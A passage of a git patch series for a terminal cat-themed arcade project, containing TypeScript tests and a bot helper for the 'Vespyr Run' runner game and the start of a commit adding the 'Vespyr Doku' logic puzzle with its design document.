then Retry. + for (let i = 0; i < 60 && first.status === 'playing'; i += 1) session.frame(100); + assert.equal(first.status, 'over'); + assert.equal(session.screen, 'over'); + now += 1000; seed = 11; + session.key({kind: 'enter'}); + assert.notEqual(session.game, first, 'Retry is a fresh game'); + assert.equal(session.game!.status, 'ready'); + assert.equal(session.key(SPACE), 'handled'); + assert.equal(session.game!.status, 'playing'); + } finally { session.dispose(); rmSync(dir, {recursive: true, force: true}); } +}); + +test('restart creates a fresh course: the same seed repeats it, a new seed does not', () => { + const courseOf = (seed: number) => { const { world } = make({seed}); return world.course.obstacles.slice(0, 8).map(o => `${o.kind}${o.count}@${o.x.toFixed(2)}`).join(','); }; + assert.equal(courseOf(21), courseOf(21)); + assert.notEqual(courseOf(21), courseOf(22)); + // Unseen effects never disturb the course: a different effects level draws different particles but the same road. + const a = make({seed: 5, effects: 'off'}); const b = make({seed: 5, effects: 'rich'}); + assert.equal(a.world.hash(), b.world.hash()); +}); + +test('sprites: every cat pose is the approved silhouette; every frame is 14 wide; obstacle art matches its physics box', () => { + const base = catPixels('idle'); + assert.deepEqual(base, [...CAT_PIXELS]); + for (const shape of ['run', 'air', 'fall', 'land', 'hit', 'idle', 'blink'] as const) { + for (let frame = 0; frame < 6; frame += 1) for (let tail = 0; tail < 4; tail += 1) for (const twitch of [false, true]) { + const rows = catRows({shape, frame, tail, twitch}); + assert.equal(rows.length, 8, shape); + for (const row of rows) assert.equal(row.length, SPRITE_W, `${shape} ${row}`); + // The head and body (rows 1..6 left of the tail) are always the cat's own pixels. + for (const index of [4, 5, 6]) if (shape === 'run') assert.equal(rows[index]!.slice(0, 12), base[index]!.slice(0, 12)); + } + } + for (const frame of [0, 1]) for (const row of catRows({shape: 'duck', frame, tail: 0, twitch: false})) assert.equal(row.length, SPRITE_W); + assert.equal(catRows({shape: 'duck', frame: 0, tail: 0, twitch: false}).length, 5); + for (const [kind, spec] of Object.entries(KINDS)) { + for (const flap of [false, true]) { + const rows = obstacleRows(kind as keyof typeof KINDS, flap); + assert.equal(rows.length, spec.h, `${kind} height`); + for (const row of rows) assert.equal(row.length, spec.w, `${kind} width`); + } + } +}); + +test('resize: any size from 20x8 up draws without throwing and every row fits; smaller shows a note', () => { + for (const [color, safe] of [['truecolor', false], ['none', false], ['256', true]] as const) { + for (const columns of [20, 21, 33, 60, 80, 121, 200]) for (const rows of [8, 9, 12, 16, 24, 40, 50]) { + for (const status of ['ready', 'playing', 'over'] as const) { + const f = make({columns, rows, color, safe, world: status === 'over' ? w => placeAhead(w, 'crates', 12) : emptyRoad}); + if (status !== 'ready') f.game.key(SPACE); + run(f.game, status === 'over' ? 400 : 40); + for (const alpha of [0, 0.5, 1]) { + const lines = f.draw(alpha); + assert.equal(lines.length, rows); + for (const line of lines) assert.ok(displayWidth(line) <= columns, `${columns}x${rows} ${status}: "${line}"`); + } + } + } + } + // A live resize keeps the run going at the new size. + const f = make({world: emptyRoad}); + f.game.key(SPACE); run(f.game, 30); + for (const [columns, rows] of [[30, 9], [140, 40], [20, 8], [64, 18]] as const) { + f.game.resize({columns, rows}); + const canvas = new Canvas(columns, rows); + f.game.render(canvas, 1, palette); + for (const line of canvas.plain()) assert.ok(displayWidth(line) <= columns); + run(f.game, 10); + } + for (const [columns, rows] of [[19, 8], [20, 7], [10, 3], [1, 1]] as const) { + const small = make({columns, rows}); + const lines = small.draw(); + assert.ok(lines.join('').trim().length > 0, 'a note is shown'); + for (const line of lines) assert.ok(displayWidth(line) <= columns); + small.game.key(SPACE); run(small.game, 5); + } +}); + +test('NO_COLOR and Safe Glyphs: ground, obstacles and the cat stay distinct without any color', () => { + const rows = 16; + const f = make({color: 'none', rows, world: w => { emptyRoad(w); }}); + f.world.course.obstacles.push({id: 2, kind: 'bird', x: 35, w: 10, h: 4, lift: AERIAL_LIFT, air: true, count: 1}, {id: 1, kind: 'crates', x: 60, w: 6, h: 6, lift: 0, air: false, count: 1}); + const lines = f.draw(); + const ground = lines[rows - 2]!; + assert.equal(ground, '█'.repeat(80), 'a solid ground line across the whole width'); + assert.match(lines[rows - 1]!, /[:·]/u, 'with texture beneath'); + const body = lines.slice(0, rows - 2).join('\n'); + assert.doesNotMatch(body, /[░▒▓]/u); + const columnOf = (pattern: RegExp) => lines.slice(0, rows - 2).some(line => pattern.test(line)); + assert.ok(columnOf(/█▄▄▄█/u), 'the cat\'s ears and head'); + assert.ok(lines[rows - 3]!.includes('██▄▄██'), 'the crate stands on the ground'); + assert.ok(lines.slice(0, rows - 3).some(line => /[▀▄█]/u.test(line.slice(46, 57))), 'the bird hangs above the ground'); + // Safe Glyphs: the same scene in ASCII only. + const safe = make({color: 'none', safe: true, rows, world: emptyRoad}); + safe.world.course.obstacles.push({id: 1, kind: 'crates', x: 60, w: 6, h: 6, lift: 0, air: false, count: 1}); + safe.game.render(safe.canvas, 1, palette); + const ascii = safe.canvas.plain({color: 'none', safe: true}); + for (const line of ascii) assert.match(line, /^[\x20-\x7e]*$/u, line); + assert.equal(ascii[rows - 2], '#'.repeat(80)); + assert.ok(ascii.slice(0, rows - 2).join('\n').includes('#'), 'obstacle and cat survive as solid glyphs'); + // With color but Safe Glyphs, the busy backdrop is dropped so the glyph render stays readable too. + const colored = make({color: 'truecolor', safe: true, rows, world: emptyRoad}); + colored.game.render(colored.canvas, 1, palette); + assert.equal(colored.canvas.plain({color: 'none', safe: true})[7]!.trim(), '', 'no hills or clouds in the sky rows'); +}); + +test('reduced motion: no flash, no shake, no burst, a shorter hold; effects off draws no particles', () => { + const crash = (reduced: boolean, effects: EffectsLevel, particles?: ParticleSystem) => { + const f = make({reduced, effects, world: w => placeAhead(w, 'crates', 16), ...(particles ? {particles} : {})}); + f.game.key(SPACE); + f.game.key({kind: 'down'}); + let calm: unknown; + for (let i = 0; i < 400 && f.world.alive; i += 1) { f.draw(); calm = f.canvas.cell(2, 2)?.bg; f.game.animate(16.7); f.game.step(1000 / 60); if (!f.world.airborne) f.world.duck(); } + assert.equal(f.world.alive, false); + f.draw(); + return {f, calm, after: f.canvas.cell(2, 2)?.bg}; + }; + const normal = crash(false, 'normal'); + assert.notDeepEqual(normal.after, normal.calm, 'the impact flashes the sky'); + const reduced = crash(true, 'normal'); + const delta = (a: unknown, b: unknown) => { const x = a as {red: number; green: number; blue: number}; const y = b as typeof x; return Math.abs(x.red - y.red) + Math.abs(x.green - y.green) + Math.abs(x.blue - y.blue); }; + assert.ok(delta(reduced.after, reduced.calm) < 6, 'reduced motion never flashes'); + // Two frames of the held pose are identical when reduced (no shake, no particles), and move when not. + const frames = (f: ReturnType) => { const a = f.draw(); f.game.animate(40); const b = f.draw(); f.game.animate(40); const c = f.draw(); return [a.join('\n'), b.join('\n'), c.join('\n')]; }; + const stillFrames = frames(reduced.f); + assert.equal(stillFrames[0], stillFrames[1]); assert.equal(stillFrames[1], stillFrames[2]); + const moving = frames(normal.f); + assert.ok(moving[0] !== moving[1] || moving[1] !== moving[2], 'the burst and shake animate when allowed'); + // Particle pools: a normal crash fills the pool, 'off' and reduced motion never do. + const pool = (reducedMotion: boolean, level: EffectsLevel) => { const system = new ParticleSystem(createRng(1), 140, level); crash(reducedMotion, level, system); return system.count; }; + assert.ok(pool(false, 'normal') > 15); + assert.equal(pool(false, 'off'), 0); + assert.ok(pool(true, 'normal') < pool(false, 'normal'), 'no impact burst when motion is reduced'); +}); + +test('running dust and the landing puff exist with effects on and not with effects off', () => { + const dusty = (effects: EffectsLevel) => { + const system = new ParticleSystem(createRng(2), 140, effects); + const f = make({effects, particles: system, world: emptyRoad}); + f.draw(); + f.game.key(SPACE); + let peak = 0; + for (let i = 0; i < 160; i += 1) { f.game.animate(16.7); f.game.step(1000 / 60); peak = Math.max(peak, system.count); } + return peak; + }; + assert.ok(dusty('normal') > 3); + assert.ok(dusty('rich') >= dusty('subtle')); + assert.equal(dusty('off'), 0); +}); + +test('a bot playing the real game through keys survives a long run and the card appears for one that never acts', () => { + const idle = make({seed: 8}); + idle.game.key(SPACE); + run(idle.game, 5000); + assert.equal(idle.game.status, 'over'); + assert.ok(playBot(8, 3000, 'mid').survived); + idle.game.dispose(); +}); diff --git a/tests/arcadeRunPhysics.test.ts b/tests/arcadeRunPhysics.test.ts new file mode 100644 index 00000000..6e2d5f84 --- /dev/null +++ b/tests/arcadeRunPhysics.test.ts @@ -0,0 +1,234 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRng} from '../src/arcade/rng.js'; +import { + AIR_FROM_PX, AIR_KINDS, clusterWidth, contactOf, Course, GROUND_KINDS, KINDS, MAX_CLUSTER, minSafeGap, slot, verifySchedule, type Obstacle, +} from '../src/arcade/games/run/course.js'; +import { + AERIAL_LIFT, AIR_STEPS, airStep, APEX, CAT_W, DT, DUCK_H, DUCK_STEPS, FAST_FALL, GRAVITY, HB_X, JUMP_BUFFER_STEPS, JUMP_PROFILE, JUMP_V, + jumpWindow, RAMP_PX, SAFE_STEPS, SLACK_STEPS, SPEED_MAX, SPEED_START, speedAt, difficultyAt, STAND_H, windowSize, +} from '../src/arcade/games/run/physics.js'; +import {overlaps, RunWorld, SCORE_PX} from '../src/arcade/games/run/world.js'; +import {playBot} from './support/runBot.js'; + +const course = (seed: number) => new Course(createRng(seed).fork('course')); + +test('jump arc: the profile follows the constants, peaks once, lands exactly and fast fall shortens it', () => { + assert.equal(JUMP_PROFILE[0], 0); + assert.equal(JUMP_PROFILE[AIR_STEPS], 0); + assert.ok(Math.abs(APEX - (JUMP_V * JUMP_V) / (2 * GRAVITY)) < 1, `apex ${APEX} near v^2/2g`); + assert.ok(Math.abs(AIR_STEPS * DT - (2 * JUMP_V) / GRAVITY) < 2 * DT, 'airtime near 2v/g'); + const peak = JUMP_PROFILE.indexOf(APEX); + for (let j = 1; j <= peak; j += 1) assert.ok(JUMP_PROFILE[j]! > JUMP_PROFILE[j - 1]!); + for (let j = peak + 1; j < AIR_STEPS; j += 1) assert.ok(JUMP_PROFILE[j]! < JUMP_PROFILE[j - 1]!); + assert.ok(APEX > 12 && APEX < 20 && AIR_STEPS > 35 && AIR_STEPS < 50); + // A fast fall pressed at takeoff is a short hop: lower and quicker by roughly the gravity factor. + const state = {y: 0, vy: JUMP_V}; + let steps = 0; let high = 0; + while (!airStep(state, true)) { steps += 1; high = Math.max(high, state.y); } + assert.ok(steps + 1 < AIR_STEPS * 0.75, `hop ${steps + 1} steps vs ${AIR_STEPS}`); + assert.ok(high < APEX * (0.5 + 1 / FAST_FALL / 2) + 0.1 && high < APEX); +}); + +test('physics: gravity, landing, jump buffer, duck and fast fall in the real world', () => { + const world = new RunWorld(createRng(3).fork('course')); + world.course.obstacles.length = 0; + world.course.ensure(0); + assert.equal(world.jump(), true); + assert.equal(world.airborne, true); + assert.equal(world.jump(), false, 'no double jump'); + let landedAfter = 0; + for (let i = 0; i < 100 && !landedAfter; i += 1) landedAfter = world.step().landedAfter; + assert.equal(landedAfter, AIR_STEPS); + assert.equal(world.y, 0); + assert.equal(world.airborne, false); + // A press in the last few steps before touchdown jumps again on landing. + world.jump(); + for (let i = 0; i < AIR_STEPS - JUMP_BUFFER_STEPS + 1; i += 1) world.step(); + world.jump(); + for (let i = 0; i < JUMP_BUFFER_STEPS + 1 && world.airborne; i += 1) world.step(); + assert.equal(world.airborne, true, 'buffered jump fires on touchdown'); + // Down on the ground ducks for DUCK_STEPS; a jump leaves the duck; Down in the air is a fast fall. + const ground = new RunWorld(createRng(4).fork('course')); + ground.duck(); + assert.equal(ground.ducking, true); + assert.equal(ground.tall, DUCK_H); + for (let i = 0; i < DUCK_STEPS; i += 1) ground.step(); + assert.equal(ground.ducking, false); + assert.equal(ground.tall, STAND_H); + ground.duck(); ground.jump(); + assert.equal(ground.ducking, false); + ground.step(); ground.duck(); + let hop = 0; + while (ground.airborne && hop < 100) { ground.step(); hop += 1; } + assert.ok(hop < AIR_STEPS * 0.75, 'fast fall lands sooner'); +}); + +test('collision boundaries: touching is clear, a real overlap is a hit; ducking passes under, standing does not', () => { + const ground = {x: 100, w: 6, h: 6, lift: 0}; + assert.equal(overlaps(100 - CAT_W, 0, STAND_H, ground), false, 'just touching from the left'); + assert.equal(overlaps(100 - CAT_W + 0.01, 0, STAND_H, ground), true, 'a hair inside'); + assert.equal(overlaps(106, 0, STAND_H, ground), false, 'just past the right edge'); + assert.equal(overlaps(105.99, 0, STAND_H, ground), true); + assert.equal(overlaps(100, 6, STAND_H, ground), false, 'feet exactly at the top: clear'); + assert.equal(overlaps(100, 5.99, STAND_H, ground), true); + const bird = {x: 100, w: 10, h: 4, lift: AERIAL_LIFT}; + assert.equal(overlaps(100, 0, STAND_H, bird), true, 'standing hits the bird'); + assert.equal(overlaps(100, 0, DUCK_H, bird), false, 'ducking passes under'); + assert.equal(overlaps(100, 0, AERIAL_LIFT, bird), false, 'head exactly at the underside: clear'); + assert.equal(overlaps(100, 4, DUCK_H, bird), true, 'a jump into the bird'); + // The same through the world: standing under a bird dies, ducking lives. + for (const duck of [false, true]) { + const world = new RunWorld(createRng(9).fork('course')); + const hitbox = world.distance + HB_X + CAT_W; + world.course.obstacles.unshift({id: 999, kind: 'bird', x: hitbox + 12, w: 10, h: 4, lift: AERIAL_LIFT, air: true, count: 1}); + for (let i = 0; i < 60 && world.alive; i += 1) { if (duck) world.duck(); world.step(); } + assert.equal(world.alive, duck); + } +}); + +test('speed and difficulty ramp monotonically and are capped', () => { + let last = 0; let lastDiff = 0; + for (let d = 0; d <= RAMP_PX * 3; d += 25) { + const v = speedAt(d); const diff = difficultyAt(d); + assert.ok(v >= last && v <= SPEED_MAX && v >= SPEED_START); + assert.ok(diff >= lastDiff && diff <= 1); + last = v; lastDiff = diff; + } + assert.equal(speedAt(RAMP_PX), SPEED_MAX); + assert.equal(speedAt(RAMP_PX * 50), SPEED_MAX, 'the cap holds forever'); + // Over a long course the clusters grow and the aerial share rises with distance and never appears early. + const buckets = [{n: 0, air: 0, width: 0}, {n: 0, air: 0, width: 0}, {n: 0, air: 0, width: 0}, {n: 0, air: 0, width: 0}]; + for (let seed = 1; seed <= 80; seed += 1) { + const c = course(seed); c.ensure(RAMP_PX + 6000); + for (const o of c.obstacles) { + const d = contactOf(o); + const bucket = buckets[d < AIR_FROM_PX ? 0 : d < RAMP_PX / 3 ? 1 : d < RAMP_PX ? 2 : 3]!; + bucket.n += 1; if (o.air) bucket.air += 1; else bucket.width += o.count; + if (d < AIR_FROM_PX) assert.equal(o.air, false, 'no aerial obstacle in the opening stretch'); + } + } + const share = buckets.map(b => b.air / b.n); + const cluster = buckets.map(b => b.width / (b.n - b.air)); + assert.equal(share[0], 0); + assert.ok(share[1]! > 0.05 && share[2]! > share[1]! && share[3]! > share[2]!, `aerial share ${share.map(s => s.toFixed(2))}`); + assert.ok(cluster[2]! > cluster[0]! && cluster[3]! > cluster[2]!, `cluster size ${cluster.map(s => s.toFixed(2))}`); +}); + +test('every obstacle the generator can emit is clearable at every speed it can meet', () => { + for (const kind of GROUND_KINDS) { + for (let speed = SPEED_START; speed <= SPEED_MAX; speed += 0.5) { + // A single unit always has a comfortable window: the generator never needs a gap-only excuse. + assert.ok(windowSize(jumpWindow(KINDS[kind].w, KINDS[kind].h, speed)) >= SLACK_STEPS, `${kind} at ${speed}`); + } + } + assert.ok(MAX_CLUSTER >= 3); + for (let seed = 1; seed <= 30; seed += 1) { + const c = course(seed); c.ensure(RAMP_PX * 1.5); + for (const o of c.obstacles) { + assert.ok(o.w === (o.air ? KINDS[o.kind].w : clusterWidth(o.kind, o.count))); + assert.equal(o.air, AIR_KINDS.includes(o.kind)); + if (o.air) continue; + const here = contactOf(o); + for (const speed of [speedAt(here), speedAt(here + 400)]) { + assert.ok(windowSize(jumpWindow(o.w, o.h, speed)) >= SLACK_STEPS, `${o.kind}x${o.count} (${o.w}x${o.h}) at ${speed.toFixed(1)}`); + } + } + } + // The largest thing the generator ever emits stays within what the apex can clear with room to spare. + const tallest = Math.max(...GROUND_KINDS.map(kind => KINDS[kind].h)); + assert.ok(tallest + 1 + 4 < APEX, 'every ground obstacle is far below the jump apex'); +}); + +test('reachability proof: every consecutive pair in thousands of obstacles keeps the required slack, at every speed', () => { + let total = 0; let airs = 0; let clusters = 0; let tightest = Infinity; + for (let seed = 1; seed <= 120; seed += 1) { + const c = course(seed); + c.ensure(RAMP_PX * 2.5); + const verdict = verifySchedule(c.obstacles); + assert.ok(verdict.ok, `seed ${seed} failed at obstacle ${verdict.failedAt}`); + assert.ok(verdict.worstSlack >= SAFE_STEPS); + tightest = Math.min(tightest, verdict.worstSlack); + total += c.obstacles.length; + airs += c.obstacles.filter(o => o.air).length; + clusters += c.obstacles.filter(o => o.count > 1).length; + // Gaps are real: the next obstacle never overlaps the last and never starts inside the cat-width dead zone. + c.obstacles.forEach((o, index) => { if (index) assert.ok(o.x >= c.obstacles[index - 1]!.x + c.obstacles[index - 1]!.w + 14 - 1e-9); }); + } + assert.ok(total > 3000 && airs > 300 && clusters > 300, `${total} obstacles, ${airs} aerial, ${clusters} clusters`); + assert.ok(tightest >= SAFE_STEPS); +}); + +test('minimum safe gap: computed per speed and pair, and every generated gap is at least that', () => { + for (let speed = SPEED_START; speed <= SPEED_MAX; speed += 4) { + let widest = 0; + for (const a of [...GROUND_KINDS, ...AIR_KINDS]) for (const b of [...GROUND_KINDS, ...AIR_KINDS]) { + const gap = minSafeGap(KINDS[a], KINDS[b], speed); + assert.ok(gap !== undefined && gap >= 0, `${a}->${b} at ${speed}`); + widest = Math.max(widest, gap!); + } + // The worst pair needs well under a screen even at the cap, so a normal terminal can always show the next move. + assert.ok(widest < 100, `worst gap ${widest} at ${speed}`); + } + assert.ok(minSafeGap(KINDS.crates, KINDS.crates, SPEED_MAX)! > minSafeGap(KINDS.crates, KINDS.crates, SPEED_START)!, 'faster means a longer gap'); + for (let seed = 1; seed <= 60; seed += 1) { + const c = course(seed); c.ensure(RAMP_PX * 1.2); + c.obstacles.forEach((b, index) => { + if (!index) return; + const a = c.obstacles[index - 1]!; + const gap = b.x - (a.x + a.w); + const need = minSafeGap(a, b, speedAt(contactOf(b) + 60)); + assert.ok(need !== undefined && gap + 1.5 >= need, `seed ${seed} #${index}: gap ${gap.toFixed(1)} < ${need}`); + }); + } + // A gap even slightly under the minimum is genuinely unreachable for the best player. + const a = KINDS.crates; const b = KINDS.crates; const speed = SPEED_MAX; + const need = minSafeGap(a, b, speed)!; + const first = slot(a, 0, speed * DT, -Infinity, 0)!; + const tooClose = slot(b, a.w + need - 6, speed * DT, first.free, first.react)!; + assert.ok(tooClose.slack < SAFE_STEPS); +}); + +function check(timing: 'early' | 'mid' | 'late' | 'random', seeds: number[], steps: number) { + for (const seed of seeds) { + const result = playBot(seed, steps, timing); + assert.ok(result.survived, `${timing} bot died on seed ${seed} at step ${result.steps}, distance ${result.distance.toFixed(0)}`); + assert.ok(result.jumps > 100 && result.ducks > 20); + assert.ok(result.distance > RAMP_PX * 1.5, 'the run reached and held the speed cap'); + } +} + +test('simulated optimal player survives 20000 steps on several seeds (early, middle and late takeoff)', () => { + check('mid', [1, 2, 3, 4, 5, 6, 7, 8], 20000); + check('early', [11, 12, 13], 20000); + check('late', [21, 22, 23], 20000); +}); + +test('a player jumping at a random point in the window also survives; a bot that never acts or only spams jump dies', () => { + check('random', [31, 32, 33, 34], 20000); + for (const seed of [1, 2, 3, 4, 5]) { + const idle = playBot(seed, 20000, 'idle'); + assert.equal(idle.survived, false); + assert.ok(idle.steps < 1500, `idle bot lasted ${idle.steps}`); + const spam = playBot(seed, 20000, 'spam'); + assert.equal(spam.survived, false, 'jumping constantly does not clear birds and wrong timing hits crates'); + } +}); + +test('determinism: same seed and inputs give the same hash at every step; a different seed differs; score is distance', () => { + const run = (seed: number) => { + const world = new RunWorld(createRng(seed).fork('course')); + const hashes: number[] = []; + for (let i = 0; i < 600; i += 1) { + if (i % 37 === 5) world.jump(); + if (i % 53 === 9) world.duck(); + world.step(); hashes.push(world.hash()); + } + return {hashes, world}; + }; + const a = run(5); const b = run(5); const c = run(6); + assert.deepEqual(a.hashes, b.hashes); + assert.notDeepEqual(a.hashes, c.hashes); + assert.equal(a.world.score, Math.floor(a.world.distance / SCORE_PX)); + assert.ok(a.world.score > 0); +}); diff --git a/tests/support/runBot.ts b/tests/support/runBot.ts new file mode 100644 index 00000000..e19d791c --- /dev/null +++ b/tests/support/runBot.ts @@ -0,0 +1,47 @@ +import {createRng, type Rng} from '../../src/arcade/rng.js'; +import {CAT_W, DT, HB_X, jumpWindow, SAFE_STEPS} from '../../src/arcade/games/run/physics.js'; +import {RunWorld} from '../../src/arcade/games/run/world.js'; + +/** + * A small player for Vespyr Run that plays the real simulation with the real physics. It looks at the next obstacle, + * computes the takeoff window the same way a careful person would (from the jump profile), and presses at a chosen point + * inside it. `timing` picks early, middle, late or a random point so a test shows the whole window is usable. + */ +export type Timing = 'early' | 'mid' | 'late' | 'random'; + +export interface BotResult { survived: boolean; steps: number; distance: number; jumps: number; ducks: number } + +export function playBot(seed: number, maxSteps: number, timing: Timing | 'idle' | 'spam', noise: Rng = createRng(seed ^ 0x5eed)): BotResult { + const world = new RunWorld(createRng(seed).fork('course')); + let jumps = 0; + let ducks = 0; + let steps = 0; + // A takeoff offset chosen once per obstacle id, so the player commits like a person would. + const choice = new Map(); + for (; steps < maxSteps && world.alive; steps += 1) { + if (timing === 'spam') { if (!world.airborne) { world.jump(); jumps += 1; } } + else if (timing !== 'idle') { + const per = world.speed * DT; + const hitboxLeft = world.distance + HB_X; + const next = world.course.obstacles.find(o => o.x + o.w > hitboxLeft); + if (next) { + const contactIn = (next.x - (hitboxLeft + CAT_W)) / per; + if (next.air) { + if (contactIn <= 10 && !world.airborne) { world.duck(); ducks += 1; } + } else if (!world.airborne) { + const window = jumpWindow(next.w, next.h, world.speed); + if (window) { + if (!choice.has(next.id)) { + const span = window.kmax - window.kmin; + const pick = timing === 'early' ? window.kmin + 2 : timing === 'late' ? window.kmax - SAFE_STEPS : timing === 'mid' ? window.kmin + span / 2 : window.kmin + 2 + noise.next() * Math.max(0, span - SAFE_STEPS - 2); + choice.set(next.id, pick); + } + if (-contactIn >= choice.get(next.id)!) { world.jump(); jumps += 1; } + } + } + } + } + world.step(); + } + return {survived: world.alive, steps, distance: world.distance, jumps, ducks}; +} From 62c8da39a78463c9a33cd1c81952d49be1b4b1ab Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:51:48 +0530 Subject: [PATCH 120/157] Arcade: Vespyr Doku, a cat-placement logic puzzle with a verified generator, logical hints and a Vespyr sprite --- docs/design/arcade-doku.md | 119 ++++++++ src/arcade/games/doku/board.ts | 210 +++++++++++++ src/arcade/games/doku/generator.ts | 124 ++++++++ src/arcade/games/doku/index.ts | 335 ++++++++++++++++++++- src/arcade/games/doku/layout.ts | 76 +++++ src/arcade/games/doku/puzzle.ts | 74 +++++ src/arcade/games/doku/render.ts | 266 ++++++++++++++++ src/arcade/games/doku/rules.ts | 59 ++++ src/arcade/games/doku/solver.ts | 334 +++++++++++++++++++++ src/arcade/games/doku/sprite.ts | 48 +++ src/arcade/games/doku/types.ts | 15 + tests/arcadeDoku.test.ts | 467 +++++++++++++++++++++++++++++ tests/arcadeDokuLogic.test.ts | 348 +++++++++++++++++++++ 13 files changed, 2469 insertions(+), 6 deletions(-) create mode 100644 docs/design/arcade-doku.md create mode 100644 src/arcade/games/doku/board.ts create mode 100644 src/arcade/games/doku/generator.ts create mode 100644 src/arcade/games/doku/layout.ts create mode 100644 src/arcade/games/doku/puzzle.ts create mode 100644 src/arcade/games/doku/render.ts create mode 100644 src/arcade/games/doku/rules.ts create mode 100644 src/arcade/games/doku/solver.ts create mode 100644 src/arcade/games/doku/sprite.ts create mode 100644 src/arcade/games/doku/types.ts create mode 100644 tests/arcadeDoku.test.ts create mode 100644 tests/arcadeDokuLogic.test.ts diff --git a/docs/design/arcade-doku.md b/docs/design/arcade-doku.md new file mode 100644 index 00000000..8d47764d --- /dev/null +++ b/docs/design/arcade-doku.md @@ -0,0 +1,119 @@ +# Vespyr Doku + +A cat-placement logic puzzle in the family of Queens / Star Battle (mechanics only; no assets or levels are shared). A +square N x N board is split into N colored regions, each a connected set of cells. Place Vespyr cats so that every row, +every column and every region holds exactly one cat, and no two cats touch, diagonals included. `/game doku` or +`/game vespyr-doku`. Kind: `puzzle` (`stepsPerSecond` 0, `refreshMs` 1000, faster only while something animates). + +## Controls + +| Key | Action | +|---|---| +| arrows, `h` `j` `k` `l` | move the cursor | +| Space, Enter | empty or X becomes a cat, a cat becomes empty | +| `x` | empty becomes X (excluded), X becomes empty; a cat is left alone; placing a cat clears the X | +| `u` | undo | +| Ctrl+Y or `y` | redo | +| `t` | hint: the first press explains the next logical step and highlights the cells, the second press applies it | +| `c` | clear every mark (one undoable move) | +| `r` twice | restart the same puzzle (marks, history, clock and hint count reset) | +| `n` | back to the start menu (the puzzle is kept; the menu offers Continue) | +| Esc / `p` | the host's pause (the board is hidden while paused) | + +Start menu: Continue (when a puzzle is saved) and New easy / medium / hard / expert puzzle. The pause menu's Restart opens a +new game instance, i.e. the start menu, where Continue resumes the saved puzzle. + +## Difficulty + +Rated by the hardest technique the logical solver needs, not by size: + +| Level | Technique | Meaning | +|---|---|---| +| 1 | single | a row, column or region has one open cell: place the cat | +| 2 | confined | a region lies within one line (so exclude the rest of that line), or a line can only hold one region's cat | +| 3 | blocked | a cat on this cell would leave another unit with no open cell | +| 4 | pair | two regions fit in two lines (or two lines in two regions) | +| 5 | triple | the same with three | + +| Difficulty | Board | Accepted levels | +|---|---|---| +| Easy | 5x5 or 6x6 | 1-2 | +| Medium | 7x7 | 2-3 | +| Hard | 8x8 | 3-4 | +| Expert | 9x9 (most) or 10x10 | 4-5 | + +The solver always applies the easiest available technique, and the puzzle's level is the highest one it had to use. If no +generated candidate lands in the band the closest rating is returned. + +## Generator and solver (`src/arcade/games/doku/`) + +- `generator.ts`: plants a placement (random backtracking over a permutation with no touching), grows N connected regions + from the planted cats (the smaller of two random regions grows first), then repairs ambiguity: given another solution + (supplied by the caller) it moves one of its cells into a neighboring region, keeping regions connected and planted cats + in place. It imports nothing but types. +- `solver.ts`: independent of the generator (a test checks the imports). `countSolutions` (bitmask search, stops at the + limit) proves uniqueness; `LogicBoard` solves by the techniques above; `rate` returns solved/level; `nextHint` produces + hints. It also imports only types. +- `puzzle.ts`: `makePuzzle(seed, difficulty)` is a pure function of its arguments: candidates are generated, repaired, + kept only if the count is exactly 1 and the techniques solve it. At most 400 attempts per seed, then a derived seed (6 + rounds); the closest rating wins when none fits. Typical cost: about 1-5 ms for sizes up to 8, about 100 ms average for + Expert (9x9 mostly; 10x10 is picked one time in five and can take a second). +- `rules.ts`: the validator (`analyze`): conflicts per cat, per-unit counts, which rows, columns and regions are done, + solved. + +## Hints + +`nextHint(size, regions, solution, marks)` reads the board and changes nothing. A cat that is not in the solution or an X on a +cat's only home is pointed out first (`fix`). Otherwise the board is rebuilt from the cats and X marks, and the easiest +technique that adds something the board does not show yet is explained in words, e.g. "Row 3 has only one open cell +(row 3, column 4): place a cat there." or "Region B is confined to column 4, so exclude column 4 elsewhere." The cells that +justify it get a `◇` and the cells it would change a `◆` (`o` and `*` in Safe Glyphs) plus a tint, and the cursor jumps to +the first target. A hint is counted when shown; applying it is one undoable move and is not counted again. Any other change +to the board drops the pending hint. + +## Presentation + +Cells are chosen to fit, biggest first: 7x3 and 6x2 with a full lattice (region borders in box-drawing glyphs between +cells), 4x1 and 3x1 with vertical borders and an underline for borders below, and 2x1 with letters only. Each cell shows its +region letter (A, B, ...) in the corner, region backgrounds come from `regionColors`, completed regions glow, row and +column labels turn into a tick when done and `!` when crowded. The cat is a mini Vespyr drawn with half blocks from the head +and ears of `idle/catSprite.ts` (settles in with an easeOutBack drop, blinks and flicks its tail every few seconds); under +NO_COLOR and Safe Glyphs it is text: `( o.o )` and `/\_/\`, `^.^`, `^^`. A clashing cat shows `!` eyes (`( !.! )`, `^!^`) +and a red tint. X marks are drawn as a small cross (`\ /`, `×`, `x`). The selected cell has a ring (or brackets in the +small layouts). Reduced motion removes the drop, blink, tail and particles; the victory shows the finished board with a +restrained particle burst (only when motion allows) under the shared card with the `celebration` heading. +A canvas too small for the board shows `Needs at least WxH`. + +## Record (`vespyr-doku`, schema v1) + +``` +{ version: 1, + bestTimes: {easy?, medium?, hard?, expert?} // ms, hint-free solves only + completed, completedByDifficulty: {easy, medium, hard, expert}, + streak, bestStreak, // consecutive hint-free solves + current?: { difficulty, seed, size, regions: "N*N letters A..", solution: "c0,c1,...", + marks: "N*N of . x c", elapsedMs, hints } } +``` + +Every field is validated on load. `current` is accepted only when sizes and letters agree, every region exists and is +connected, `solution` is a valid placement, the layout has exactly one solution, marks use only `.xc`, the clock is finite +and non-negative; otherwise it is deleted. Statistics are clamped to bounded integers. The board is saved after every +move, on pause and when leaving; a win removes `current`. + +## What the tests prove + +`tests/arcadeDokuLogic.test.ts`: validator accepts a solution and rejects two cats in a row, column or region and diagonal +touching; counting finds multiple solutions; 200 seeds for each size from 5 to 9 (and a few at 10) give sound, unique, +logically solvable puzzles; determinism; ratings fall in their band; generation averages well under 200 ms up to 9x9; +hints finish a puzzle from an empty board without touching what they read; wrong cat and X are flagged first; +undo/redo round trips; persistence round trip and every corrupt field discarded; layout bounds. +`tests/arcadeDoku.test.ts`: keys, marks, undo/redo, the clock (animate only, not in the menu or paused), hints (explain, +apply, count, undo), winning and statistics, restart, Continue, corrupt recovery, every canvas size from 20x8 to 200x60 +within its width, region letters and borders, cats, X marks and clashes under NO_COLOR and Safe Glyphs (ASCII only), 